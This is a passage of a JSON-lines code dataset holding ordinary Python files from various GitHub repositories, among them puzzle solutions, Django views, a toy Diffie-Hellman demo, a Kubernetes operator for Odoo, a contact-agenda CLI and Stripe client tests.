jsonify(vals)\n\n\n\n\n\n","repo_name":"drcongo/spammy-recruiters","sub_path":"webapp/apps/spamsub/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":279,"dataset":"github-code","pt":"77"}
+{"seq_id":"37061390958","text":"#Part 1\ns = 0\nwith open(\"input.txt\") as f:\n    group = ''\n    for line in f.readlines():\n        if line.strip() != '': group+=line.strip()\n        else:\n            s+= len(set(group))\n            group=''\n    if group!='': s+= len(set(group))\nprint(s)\n\n#Part 2\ns = 0\nwith open(\"input.txt\") as f:\n    newgroup = True\n    for line in f.readlines():\n        if line.strip() != '' and newgroup: \n            group = list(line.strip())\n            newgroup = False\n        elif line.strip() != '':\n            group = [c for c in group if c in list(line.strip())]\n        else:\n            s+= len(group)\n            group = []\n            newgroup = True\n    if group != []: s+= len(group)\nprint(s)","repo_name":"Devilmoon/AoC2020","sub_path":"Day 6/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40252949528","text":"'''\nhttps://leetcode-cn.com/problems/24-game\n\n你有 4 张写有 1 到 9 数字的牌。你需要判断是否能通过 *，/，+，-，(，) 的运算得到 24。\n示例 1:\n输入: [4, 1, 8, 7]\n输出: True\n解释: (8-4) * (7-1) = 24\n\n示例 2:\n输入: [1, 2, 1, 2]\n输出: False\n\n注意:\n\n除法运算符 / 表示实数除法，而不是整数除法。例如 4 / (1 - 2/3) = 12 。\n每个运算符对两个数进行运算。特别是我们不能用 - 作为一元运算符。例如，[1, 1, 1, 1] 作为输入时，表达式 -1 - 1 - 1 - 1 是不允许的。\n你不能将数字连接在一起。例如，输入为 [1, 2, 1, 2] 时，不能写成 12 + 12 。\n'''\n\nclass Solution:\n    def judgePoint24(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: bool\n        \"\"\"\n        \n\n\nif __name__ == '__main__':\n    s = Solution()\n    # ret = s.\n    print(s)\n","repo_name":"chanfengsr/AllPrivateProject","sub_path":"Python/LeetCodeTraining/题库/0679 24点游戏(24 Game).py","file_name":"0679 24点游戏(24 Game).py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"70784452089","text":"from django.shortcuts import render\nfrom .models import Pet, Animal, Breed\nfrom django.views.generic import TemplateView\nfrom django.db.models import F, Max\nfrom random import randint\nfrom django.views.generic import CreateView, UpdateView, DeleteView, ListView\nfrom .forms import PetForm, BreedForm\nfrom django.urls import reverse_lazy\nfrom django.http import JsonResponse\n\n# Create your views here.\n\ndef getbreedlist(request, breed_id):\n    if breed_id != 0:\n        res = list(Breed.objects.all().filter(animal_type_ref=breed_id).values())\n    else:\n        res = list(Breed.objects.all().values())\n    return JsonResponse(res, safe=False)\n\nclass Landing(TemplateView):\n    template_name = 'index.html'\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['amount'] = Pet.objects.count()\n        if context['amount'] > 0:\n            max_id = Pet.objects.all().aggregate(max_id=Max(\"id\"))['max_id']\n            item=None\n            while True:\n                pk = randint(1, max_id)\n                item = Pet.objects.filter(pk=pk).first()\n                if item:\n                    break\n            context['random_card'] = item\n        return context\n\nclass AddPet(CreateView):\n    model = Pet\n    form_class = PetForm\n    success_url = reverse_lazy('pets:pet_list')\n    template_name = 'pet_edit.html'\n\nclass EditPet(UpdateView):\n    model = Pet\n    form_class = PetForm\n    success_url = reverse_lazy('pets:pet_list')\n    template_name = 'pet_edit.html'\n\nclass PetList(ListView):\n    template_name = 'pet_list.html'\n    context_object_name = 'pets'\n    model = Pet\n\nclass AddBreed(CreateView):\n    model = Breed\n    form_class = BreedForm\n    success_url = reverse_lazy('pets:add_pet')\n    template_name = 'breed_edit.html'\n\nclass PetDetail(DeleteView):\n    model = Pet\n    template_name = 'pet.html'\n    context_object_name = 'pet'\n","repo_name":"Konunacmep/skillfactory-module-d-project-shaidulov","sub_path":"pets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17655488905","text":"'''\n rmtoo\n   Free and Open Source Requirements Management Tool\n\n  Blackbox rmtoo test\n\n (c) 2010-2012,2017 by flonatel GmbH & Co. KG\n\n For licensing details see COPYING\n'''\nfrom rmtoo.tests.lib.BBHelper import BBHelper\n\ncmd_line_parsms = '''json:{\"actions\": {\"create_makefile_dependencies\":\n\"${ENV:rmtoo_test_dir}/makefile_deps\"}}'''\n\n\nclass RMTTestBB006(BBHelper):\n\n    out_test_dir = \"tests/RMTTest-Blackbox/RMTTest-BB006\"\n    in_test_dir = \"tests/blackbox-test/bb006-test\"\n\n    def rmttest_pos_001(self):\n        \"BB Basic with one requirement - check makefile dependencies\"\n        self.run_test(unify_output_dirs=[\"makefile_deps\"],\n                      relaxed=True,\n                      cmd_line_params=[\n                          \"-j\", \"file://\" + self.out_test_dir\n                          + \"/input/Config.json\",\n                          \"-j\", cmd_line_parsms])\n","repo_name":"florath/rmtoo","sub_path":"rmtoo/tests/RMTTest-Blackbox/RMTTest-BB006/RMTTest-BB006.py","file_name":"RMTTest-BB006.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"77"}
+{"seq_id":"22864041710","text":"import math\r\n\r\n\r\ndef main():\r\n    print(\"Enter the value of modulo (q) :\")\r\n    q = int(input())\r\n    print(\"Enter the primituve of  \",q,\" : \")\r\n    p = int(input())\r\n\r\n    print(\"Enter the private key of Alice (person1) : \")\r\n    a = int(input())\r\n\r\n    print(\"Enter the private key of Bob (person 2) : \")\r\n    b = int(input())\r\n\r\n    # Calculating their public key\r\n\r\n    Y_A = (p ** a) % q  # public key of alice\r\n    Y_B = (p ** b) % q # public key of bob\r\n\r\n\r\n    # Calculating secret key of alice and bob\r\n\r\n    K_A = (Y_B ** a) % q\r\n    K_B = (Y_A ** b) % q\r\n\r\n    print(\"The secret key of Alice :\",K_A)\r\n    print(\"The secret key of Bob :\",K_B)\r\n\r\n    if K_A == K_B:\r\n        print(\"Alice and Bob can communicate\")\r\n        print(\"They share secret number : \",K_B)\r\n\r\n    else:\r\n        print(\"They cannot communicate\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n\r\n\r\n","repo_name":"TanayDajgude/LP-2","sub_path":"DiffieHelman.py","file_name":"DiffieHelman.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28755959397","text":"#!/usr/bin/env python3\n\nimport kopf\nimport kubernetes.config as k8s_config\nimport kubernetes.client as k8s_client\nimport requests\nimport pykube\nimport yaml\n\n\nodoo_crd = k8s_client.V1CustomResourceDefinition(\n    api_version=\"apiextensions.k8s.io/v1\",\n    kind=\"CustomResourceDefinition\",\n    metadata=k8s_client.V1ObjectMeta(name=\"odoos.operators.nurlanf.github.io\"),\n    spec=k8s_client.V1CustomResourceDefinitionSpec(\n        group=\"operators.nurlanf.github.io\",\n        versions=[k8s_client.V1CustomResourceDefinitionVersion(\n            name=\"v1\",\n            served=True,\n            storage=True,\n            schema=k8s_client.V1CustomResourceValidation(\n                open_apiv3_schema=k8s_client.V1JSONSchemaProps(\n                    type=\"object\",\n                    properties={\n                        \"spec\": k8s_client.V1JSONSchemaProps(\n                            type=\"object\",\n                            properties={\n                                \"version\":  k8s_client.V1JSONSchemaProps(\n                                type=\"string\",\n                                enum=[\"13.0\",\"14.0\",\"15.0\"]\n                            ),\n                                \"auto_backup\":  k8s_client.V1JSONSchemaProps(\n                                type=\"boolean\"\n                                )\n                            }\n                        ),\n                        \"status\": k8s_client.V1JSONSchemaProps(\n                            type=\"object\",\n                            x_kubernetes_preserve_unknown_fields=True\n                        )\n                    }\n                )\n            )\n        )],\n        scope=\"Namespaced\",\n        names=k8s_client.V1CustomResourceDefinitionNames(\n            plural=\"odoos\",\n            singular=\"odoo\",\n            kind=\"Odoo\",\n            short_names=[\"od\"]\n        )\n    )\n)\n\ntry:\n    k8s_config.load_kube_config()\nexcept k8s_config.ConfigException:\n    k8s_config.load_incluster_config()\n\napi_instance = k8s_client.ApiextensionsV1Api()\ntry:\n    api_instance.create_custom_resource_definition(odoo_crd)\nexcept k8s_client.rest.ApiException as e:\n    if e.status == 409:\n        print(\"CRD already exists\")\n    else:\n        raise e\n\ndef get_odoo_configmap_name(api, auto_backup=False):\n    addons_path = f\"/mnt/extra-addons\"\n\n    if auto_backup:\n        addons_path += \",/mnt/default\"\n\n    doc = yaml.safe_load(f\"\"\"\n        apiVersion: v1\n        kind: ConfigMap\n        data:\n          odoo.conf: |\n                [options]\n                addons_path = {addons_path}\n        \"\"\")\n\n    kopf.adopt(doc)\n\n    # Actually create an object by requesting the Kubernetes API.\n    configmap = pykube.ConfigMap(api, doc)\n    configmap.create()\n    api.session.close()\n\n    return configmap.metadata['name']\n\n\n@kopf.on.create('operators.nurlanf.github.io', 'v1', 'odoos')\ndef create_odoo(namespace, spec, body, **kwargs):\n\n    api = pykube.HTTPClient(pykube.KubeConfig.from_env())\n\n    configmap = get_odoo_configmap_name(api, auto_backup=spec['auto_backup'])\n    # Render the pod yaml with some spec fields used in the template.\n    doc = yaml.safe_load(f\"\"\"\n        apiVersion: v1\n        kind: Pod\n        spec:\n          containers:\n          - name: postgres\n            image: postgres:11\n            env:\n            - name: POSTGRES_USER\n              value: odoo\n            - name: POSTGRES_PASSWORD\n              value: odoo\n            - name: POSTGRES_DB\n              value: postgres\n            - name: PGDATA\n              value: \"/var/lib/postgresql/data/postgres\"\n          - name: odoo\n            image: odoo:{spec['version']}\n            env:\n            - name: HOST\n              value: localhost\n            - name: USER\n              value: odoo\n            - name: PASSWORD\n              value: odoo\n            volumeMounts:\n            - name: odoo-conf\n              mountPath: /etc/odoo/odoo.conf\n              subPath: odoo.conf\n          volumes:\n          - name: odoo-conf\n            configMap:\n              name: {configmap}\n\n    \"\"\")\n\n    # Make it our child: assign the namespace, name, labels, owner references, etc.\n    kopf.adopt(doc)\n\n    pod = pykube.Pod(api, doc)\n    pod.create()\n    api.session.close()\n\n    # Update the parent's status.\n    return {'children': [pod.metadata['uid']]}\n\n","repo_name":"nurlanf/odoo-operator","sub_path":"odoo-operator.py","file_name":"odoo-operator.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73365673209","text":"from collections import defaultdict\nfrom typing import List\n\n\nclass Solution:\n    def findItinerary(self, tickets: List[List[str]]) -> List[str]:\n        routers = defaultdict(list)\n        path = [\"JFK\"]\n        for a, b in tickets:\n            routers[a].append(b)\n\n        def backtrack(start) -> bool:\n            if len(path) == len(tickets) + 1:\n                return True\n            routers[start].sort()\n            for _ in routers[start]:\n                arrival = routers[start].pop(0)\n                path.append(arrival)\n                if backtrack(arrival):\n                    return True\n                routers[start].append(arrival)\n                path.pop()\n\n        backtrack(\"JFK\")\n        return path\n\n\nif __name__ == '__main__':\n    print(Solution().findItinerary(tickets=[[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]))\n","repo_name":"aotemiao/my-leetcode","sub_path":"leet-code-classic/reconstruct-itinerary/findItinerary.py","file_name":"findItinerary.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28257771466","text":"import os\nfrom matplotlib import pyplot as plt\nim_path1 = 'img/appearance'\nim_path2 = 'img/structure'\nim_names1 = ['red.png', 'rainbow.png', 'blue.png']\nim_names2 = ['bob.png', 'fade.png', 'straight.png']\n\n# lets make a grid of 2*3\nfig = plt.figure(figsize=(10, 5))\n# lets plot the first row\nfor i in range(3):\n    ax = fig.add_subplot(2, 3, i+1)\n    # lets add img names without suffix to the title\n\n    ax.imshow(plt.imread(os.path.join(im_path1, im_names1[i])))\n    ax.set_title(im_names1[i].split('.')[0])\n\n    ax.axis('off')\n\n# lets plot the second row\nfor i in range(3):\n    ax = fig.add_subplot(2, 3, i+4)\n    ax.imshow(plt.imread(os.path.join(im_path2, im_names2[i])))\n    ax.set_title(im_names2[i].split('.')[0])\n    ax.axis('off')\n\n# lets save the figure\nfig.savefig('img/row_col.png')","repo_name":"abbasmammadov/Artificial-Barber","sub_path":"utils/visualizations.py","file_name":"visualizations.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"493799894","text":"import datetime\nfrom math import sqrt\n\n\ndef now():\n    \"\"\"Get a current datetime object.\"\"\"\n    return datetime.datetime.now()\n\n\ndef factorial(number):\n    \"\"\"Calculate factorials\n\n    Args:\n        number (int): the number for which to calculate.\n\n    Returns:\n        The (int) factorial.\n    \"\"\"\n    product = 1\n    for term in range(number, 1, -1):\n        product *= term\n    return product\n\n\ndef fibonacci_sequence(maximum=None):\n    \"\"\"Generate (yield) successive terms in a Fibonacci sequence.\"\"\"\n    a, b = 0, 1\n\n    while True:\n        yield b\n        a, b = b, a + b\n        if maximum and b > maximum:\n            raise StopIteration\n\n\ndef primes(maximum_value, verbose=True):\n    \"\"\"Generate a sequence of prime numbers, using Sieve of Eratosthenes.\n\n    Args:\n        maximum_value (int) or (float): the upper limit of primes to generate.\n        verbose (bool): prints primes found to stdout if True.\n\n    Returns:\n        Yields a sequence of prime numbers, one per iteration.\n    \"\"\"\n    known_nonprimes = set()\n    range_stop = int(maximum_value) + 1\n\n    for cursor in range(2, range_stop):\n        if cursor not in known_nonprimes:\n            more_nonprimes = range(cursor ** 2, range_stop, cursor)\n            known_nonprimes.update(more_nonprimes)\n\n            if verbose:\n                print('found prime: %12d' % cursor)\n\n            yield cursor\n\n\ndef is_divisor(factor, number):\n    \"\"\"Determine if a potential factor divides cleanly.\n\n    Args\n        factor (int): potential divisor\n        number (int): the bigger number to test against.\n\n    Returns:\n        True or False.\n    \"\"\"\n    return not bool(number % factor)\n\n\ndef proper_divisors(number, verbose=False):\n    \"\"\"Find proper divisors of a number.\n\n    Args:\n        number (int): the number to resolve.\n\n    Returns:\n        A list of integers.\n        \"\"\"\n    range_stop = int((number / 2) + 1)\n    candidates = set(range(1, range_stop))\n    found, max_divisor = [], None\n\n    while len(candidates):\n        candidate = candidates.pop()\n\n        if is_divisor(candidate, number):\n            found.append(candidate)\n\n            # crash out early or set \"done\" threshold for greatest divisor\n            if max_divisor and candidate >= max_divisor:\n                break\n            elif max_divisor is None and candidate > 1:\n                max_divisor = int(number / candidate)\n                range_stop = max_divisor\n\n        else:\n            candidates.difference_update(range(candidate ** 2, range_stop, candidate))\n\n    if verbose:\n        print('found %d divisors for %d' % (len(found), number))\n\n    return found\n\n\ndef find_factors(number):\n    \"\"\"Find the factors and their powers of a number.\n\n    Args:\n        number (int): the number to factor.\n\n    Returns:\n        A (dict) whose keys are the factors and values their powers.\n    \"\"\"\n    unfactored_portion, accumulated_factors = number, {}\n\n    for prime in primes(sqrt(number), verbose=False):\n        while is_divisor(prime, unfactored_portion):\n            accumulated_factors[prime] = accumulated_factors.get(prime, 0) + 1\n            unfactored_portion /= prime\n\n    if unfactored_portion > 1:\n        accumulated_factors[unfactored_portion] = 1\n\n    return accumulated_factors\n","repo_name":"peterjpierce/project_euler","sub_path":"shared/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"9672714735","text":"\"\"\"\nGiven an array of non-negative integers, you are initially positioned at the first index of the array.\n\nEach element in the array represents your maximum jump length at that position.\n\nYour goal is to reach the last index in the minimum number of jumps.\n\nExample:\n\nInput: [2,3,1,1,4]\nOutput: 2\nExplanation: The minimum number of jumps to reach the last index is 2.\n    Jump 1 step from index 0 to 1, then 3 steps to the last index.\nNote:\n\nYou can assume that you can always reach the last index.\n\"\"\"\nfrom typing import List\n\n\ndef jump(nums: List[int]) -> int:\n    num_hops = 0\n    curr_idx = 0\n    last_idx = len(nums) - 1\n    while curr_idx != last_idx:\n        best_idx = curr_idx + 1\n        best_val = nums[best_idx] + best_idx\n        for next_idx in range(nums[curr_idx] + curr_idx, curr_idx, -1):\n            if next_idx >= last_idx:\n                best_idx = last_idx\n                break\n            if next_idx + nums[next_idx] > best_val:\n                best_idx = next_idx\n                best_val = next_idx + nums[next_idx]\n        curr_idx = best_idx\n        num_hops += 1\n    return num_hops\n","repo_name":"bensenberner/ctci","sub_path":"hard/jump_game_ii_45.py","file_name":"jump_game_ii_45.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41494855277","text":"#!/usr/bin/python\n\nimport json\n\ndata = {\n    \"germ_data_request_summary\": {\n        \"category\": [\n            {\n                \"|code\": \"433\",\n                \"|terminology\": \"openehr\",\n                \"|value\": \"event\"\n            }\n        ],\n        \"composer\": [\n            {\n                \"|name\": \"OpenEHR-Perl-STRUCTURED\"\n            }\n        ],\n    }\n}\n\nclass InformationOrder():\n    \"\"\"\n    Holds InformationOrder data\n    \"\"\"\n\n    class category:\n        code = ''\n        value = ''\n        terminology = ''\n        composition = ''\n\n        lookup = {\n            '433' : {'|code' : '433', '|value' : 'event1', '|terminology' : 'openehr' },\n            '434' : {'|code' : '434', '|value' : 'event2', '|terminology' : 'openehr' },\n            '435' : {'|code' : '435', '|value' : 'event3', '|terminology' : 'openehr' },\n            '436' : {'|code' : '436', '|value' : 'event4', '|terminology' : 'openehr' },\n        }\n\n        def __init__(self, code):\n            self.code = self.lookup[code]['|code']\n            self.value = self.lookup[code]['|value']\n            self.terminology = self.lookup[code]['|terminology']\n            self.composition = self.lookup[code]\n\n        def compose(self):\n            self.composition = self.lookup[self.code]\n            return self.composition\n\n        def set_code(self, code):\n            self.__init__(code)\n\n    class composer:\n        name = ''\n        composition = ''\n\n        def __init__(self, data):\n            self.name = data\n            self.composition = { '|name' : data }\n\n        def compose(self):\n            return self.composition\n\n        def set_name(self, data):\n            self.__init__(data)\n\n    composition = {}\n\n    document_root = 'gel_data_request_summary'\n    uids = []\n    categories = [ category('433') ]\n    composers = [ composer('OpenEHR-Python') ]\n\n    def set_item(self, item_name, object_name, data ):\n        if data:\n            self.item_name = []\n            for item in data:\n                self.item_name.append( object_name(item))\n\n    def set_category(self, data):\n        \"\"\"\n        Category data should be provided as a an \n        array of strings with each string being a valid\n        category code\n        \"\"\"\n        if data:\n            self.categories = []\n            for item in data:\n                self.categories.append( self.category(item) )\n\n    def set_composer(self, data):\n        \"\"\"\n        composer_name parameter should be provided as a string value\n        Default value set to the name of the generating class function\n        \"\"\"\n        if data:\n            self.composers = []\n            for item in data:\n                self.composers.append( self.composer(item) )\n\n    def write_document_root(self):\n        self.composition[self.document_root] = {}\n\n    def write_category(self):\n        self.composition[self.document_root]['category'] = []\n        for category in self.categories:\n            self.composition[self.document_root]['category'].append(category.composition)\n\n    def write_composer(self):\n        self.composition[self.document_root]['composer'] = []\n        for composer in self.composers:\n            self.composition[self.document_root]['composer'].append(composer.composition)\n\n    def write(self):\n        self.write_document_root()\n        self.write_category()\n        self.write_composer()\n\n\n    def read(self, data):\n        def read_categories(data):\n            categories = []\n            for item in data:\n                item_obj = category( item['|code'])\n                categories.append(item_obj)\n            return categories\n\n        def read_composers(data):\n            composers = []\n            for item in data:\n                item_obj = composer( item['|name'])\n                composers.append(item_obj)\n            return composers\n\n\n        self.document_root = list(data.keys())[0]\n        self.categories = read_categories( data[self.document_root]['category'] )\n        self.composers = read_composers( data[self.document_root]['composer'] )\n\n\ncompos1 = InformationOrder()\n#compos1.set_category(['433', '434'])\ncompos1.set_item('categories', compos1.category, ['433', '434'])\ncompos1.set_composer(['David Ramlakhan', 'John Duncan'])\ncompos1.write()\nprint('Compos1:', json.dumps(compos1.composition, indent=4))\n\n#compos2 = InformationOrder()\n#compos2.read(data)\n#composition = compos2.write()\n#print('Compos2:',  json.dumps(composition, indent=4) )\n","repo_name":"dram1964/OpenEHR-Py","sub_path":"app/information_order2.py","file_name":"information_order2.py","file_ext":"py","file_size_in_byte":4444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15502805528","text":"AGENDA = {}\n\n# Funcoes\ndef mostrar_contatos():\n    if AGENDA:\n        for contato in AGENDA:\n            buscar_contato(contato)\n    else:\n        print('>>>>>> Agenda vazia')\n\ndef buscar_contato(contato):\n    try:\n        print('Nome:', contato)\n        print('Telefone:', AGENDA[contato]['telefone'])\n        print('Endereco:', AGENDA[contato]['endereco'])\n        print('Email:', AGENDA[contato]['email'])\n        print('---------------------------------------')\n    except KeyError:\n        print('>>>>>> Contato {} nao encontrado'.format(contato))\n    except Exception as error:\n        print('>>>>>> Um erro inesperado ocorreu: ', error)        \n\ndef ler_detalhes_contato():\n    telefone = input('Digite o telefone do contato: ')\n    email = input('Digite o email do contato: ')\n    endereco = input('Digite o endereco do contato: ')\n    return telefone, email, endereco\n \n\ndef incluir_editar_contato(contato, telefone, endereco, email):\n    AGENDA[contato] = {\n        'telefone': telefone,\n        'endereco': endereco,\n        'email': email,\n    }\n    salvar()\n    print('>>>>>> Contato {} adicionado/editado com sucesso!'.format(contato))\n\ndef excluir_contato(contato):\n    try:\n        AGENDA.pop(contato)\n        salvar()\n        print()\n        print('>>>>>> Contato {} excluido com sucesso!'.format(contato))\n        print()\n    except KeyError:\n        print('>>>>>> Contato {} nao encontrado!'.format(contato))    \n    except Exception as error:\n        print('>>>>>> Um erro inesperado ocorreu: ', error)\n\ndef exportar_contatos(nome_do_arquivo):\n    try:\n        with open(nome_do_arquivo, 'w') as arquivo:\n            for contato in AGENDA:\n                telefone = AGENDA[contato]['telefone']\n                endereco = AGENDA[contato]['endereco']\n                email = AGENDA[contato]['email']\n\n                arquivo.write('{},{},{},{}\\n'.format(contato, telefone, endereco, email)) \n        print('>>>>>> Agenda exportada com sucesso!')\n    except Exception as error:\n        print('>>>>>> Um erro inesperado ocorreu: ', error)\n\ndef importar_contatos(nome_do_arquivo):\n    try:\n        with open(nome_do_arquivo, 'r') as arquivo:\n            linhas = arquivo.readlines()\n            for linha in linhas:\n                detalhes = linha.strip().split(',')\n\n                nome = detalhes[0]\n                telefone = detalhes[1]\n                email = detalhes[2]\n                endereco = detalhes[3]\n\n                incluir_editar_contato(nome, telefone, endereco, email)\n    except FileNotFoundError:\n        print('>>>>>> Arquivo nao encontrado!')\n    except Exception as error:\n        print('>>>>>> Um erro inesperado ocorreu: ', error)   \n\ndef salvar():\n    exportar_contatos('database.csv')\n\ndef carregar():\n    try:\n        with open('database.csv', 'r') as arquivo:\n            linhas = arquivo.readlines()\n            for linha in linhas:\n                detalhes = linha.strip().split(',')\n\n                nome = detalhes[0]\n                telefone = detalhes[1]\n                email = detalhes[2]\n                endereco = detalhes[3]\n\n                AGENDA[nome] = {\n                    'telefone': telefone,\n                    'endereco': endereco,\n                    'email': email,\n                }\n        print('>>>>>> Database carregada com sucesso! \\n {} contatos carregados'.format(len(AGENDA)))   \n    except FileNotFoundError:\n        print('>>>>>> Arquivo nao encontrado!')\n    except Exception as error:\n        print('>>>>>> Um erro inesperado ocorreu: ', error)\n\ndef imprimir_menu():\n    print('------------------------------------')\n    print('1 - Mostrar todos os contatos')\n    print('2 - Buscar contato')\n    print('3 - Incluir contato')\n    print('4 - Editar contato')\n    print('5 - Excluir contato')\n    print('6 - Exportar contatos para CSV')\n    print('7 - Importar contatos CSV')\n    print('0 - Fechar agenda')\n    print('------------------------------------')\n\n# Inicio do programa\ncarregar()\nwhile True:\n    imprimir_menu()\n\n    opcao = input('Digite uma opcao: ')\n    if opcao == '1':\n        mostrar_contatos()\n    elif opcao == '2':\n        contato = input('Digite o nome do contato: ')\n        buscar_contato(contato)\n    elif opcao == '3':\n        contato = input('Digite o nome do contato: ')\n\n        try:\n            AGENDA[contato]\n            print('>>>>>> Contato já existente')\n        except KeyError: \n            telefone, email, endereco = ler_detalhes_contato()\n            incluir_editar_contato(contato, telefone, email, endereco)\n    elif opcao == '4':\n        contato = input('Digite o nome do contato: ')\n\n        try:\n            AGENDA[contato]\n            print('>>>>>> Editando contato', contato)\n            telefone, email, endereco = ler_detalhes_contato()\n            incluir_editar_contato(contato, telefone, email, endereco)\n        except KeyError: \n            print('>>>>>> Contato nao existente')\n    elif opcao == '5':\n        contato = input('Digite o nome do contato: ')\n        excluir_contato(contato)\n    elif opcao == '6':\n        nome_do_arquivo = input('Digite o nome do arquivo a ser exportado: ')\n        exportar_contatos(nome_do_arquivo)\n    elif opcao == '7':\n        nome_do_arquivo = input('Digite o nome do arquivo a ser importado: ')\n        importar_contatos(nome_do_arquivo)\n    elif opcao == '0':\n        print('>>>>>> Agenda fechada')\n        break  \n    else:\n        print('>>>>>> Opcao invalida')\n","repo_name":"sousa2323/agenda","sub_path":"agenda.py","file_name":"agenda.py","file_ext":"py","file_size_in_byte":5440,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10658282428","text":"import os\nfrom config import ttable_url\n\n\ndef show_list_timetable():\n    list_ttables = os.listdir('Timetable')\n    dict_ttables = {}\n    for _, v in enumerate(list_ttables):\n        # print(f\"{v[:5]} {v.split('.')[0][6:]}\")\n        dict_ttables[v[:5]] = v.split('.')[0][6:]\n    # print(dict_ttables)\n    return dict_ttables\n\n\n\ndef get_timetable(number_PK):\n    tt_list = os.listdir('Timetable')\n    # print(tt_list[0].split()[0])\n    for _, v in enumerate(tt_list):\n        if v.split()[0] == number_PK:\n            # print(number_PK)\n            tt_item = v.split('.')[0]\n            tt_url = f'{ttable_url}/{v}'\n            # print(tt_item, tt_url)\n    return [tt_item, tt_url]\n\n\n    # print(f\"Ваше ПК: {tt_item}\\n\\n\"\n    #       f\"Ваше расписание: {tt_url} (скачать)\\n\")\n\n\ndef main():\n    show_list_timetable()\n    # get_timetable(input('Выберите номер Вашего ПК: '))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"EvgeniiPlus/tgBot_GrOIRO","sub_path":"timetable.py","file_name":"timetable.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43006172597","text":"def sumofn(n):\n    a=[]\n    s=0\n    a.append(0)\n    a.append(1)\n    if(n==0):\n        return a[0]\n    elif(n==1):\n        return a[1]\n    else:\n        for i in range(2,n+1):\n            a.append(a[i-1]+a[i-2])\n        s=sum(a)\n    return s\nn=int(input())\nn%=60\nprint(sumofn(n)%10)","repo_name":"navneetsn18/Coursera-Algorithmic-Toolbox","sub_path":"Solution Week 2/program 6.py","file_name":"program 6.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9180218771","text":"from rest_framework import generics\nfrom rest_framework.response import Response\nfrom swachh_toilets.models import SwachhToilet\nfrom .authentication import CustomAuthentication\nfrom swachh_toilets.api.serializers import ToiletSerializer\nfrom .pagination import StandardResultsSetPageNumberPagination\n\n\nclass ToiletList(generics.ListAPIView):\n    authentication_classes = (CustomAuthentication,)\n    serializer_class = ToiletSerializer\n    pagination_class = StandardResultsSetPageNumberPagination\n\n    def get_queryset(self):\n        coordinates = [\n            float(self.request.GET.get('longitude')),\n            float(self.request.GET.get('latitude'))\n        ]\n\n        \"\"\"\n        from .authentication import Profile\n        profile = Profile().get_user_profile(\n                    self.request,\n                    self.request.user['id']\n                    )\n        coordinates = profile['location']['coordinates']\n        \"\"\"\n        queryset = SwachhToilet.objects(\n                    location__near=coordinates,\n                    location__max_distance=1000\n                )\n        q = self.request.query_params.get('q', None)\n        if q is not None:\n            queryset = queryset.filter(qci_id__icontains=q)\n        return queryset\n\n    def list(self, request):\n        queryset = self.filter_queryset(self.get_queryset())\n\n        page = self.paginate_queryset(queryset)\n        if page is not None:\n            serializer = self.get_serializer(page, many=True)\n            return self.get_paginated_response(serializer.data)\n\n        serializer = self.get_serializer(queryset, many=True)\n        # result = [ x.values()[0] for x in serializer.data ]\n        return Response(serializer.data)\n\n\nclass ToiletDetail(generics.RetrieveAPIView):\n    lookup_field = 'id'\n    serializer_class = ToiletSerializer\n    queryset = SwachhToilet.objects.all()\n","repo_name":"samayamnag/swachh-toilets","sub_path":"swachh_toilets/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72230595768","text":"import tempfile\nimport unittest\n\nimport aiostripe\nfrom aiostripe.test.helper import StripeResourceTest\n\n\nclass FileUploadTest(StripeResourceTest):\n    async def test_create_file_upload(self):\n        test_file = tempfile.TemporaryFile()\n\n        await aiostripe.FileUpload.create(\n            purpose='dispute_evidence',\n            file=test_file\n        )\n\n        self.requestor_mock.request.assert_called_with('post', '/v1/files',\n                                                       params={\n                                                           'purpose': 'dispute_evidence',\n                                                           'file': test_file\n                                                       },\n                                                       headers={'Content-Type': 'multipart/form-data'})\n\n    async def test_fetch_file_upload(self):\n        await aiostripe.FileUpload.retrieve('fil_foo')\n\n        self.requestor_mock.request.assert_called_with('get', '/v1/files/fil_foo',\n                                                       {}, None)\n\n    async def test_list_file_uploads(self):\n        await 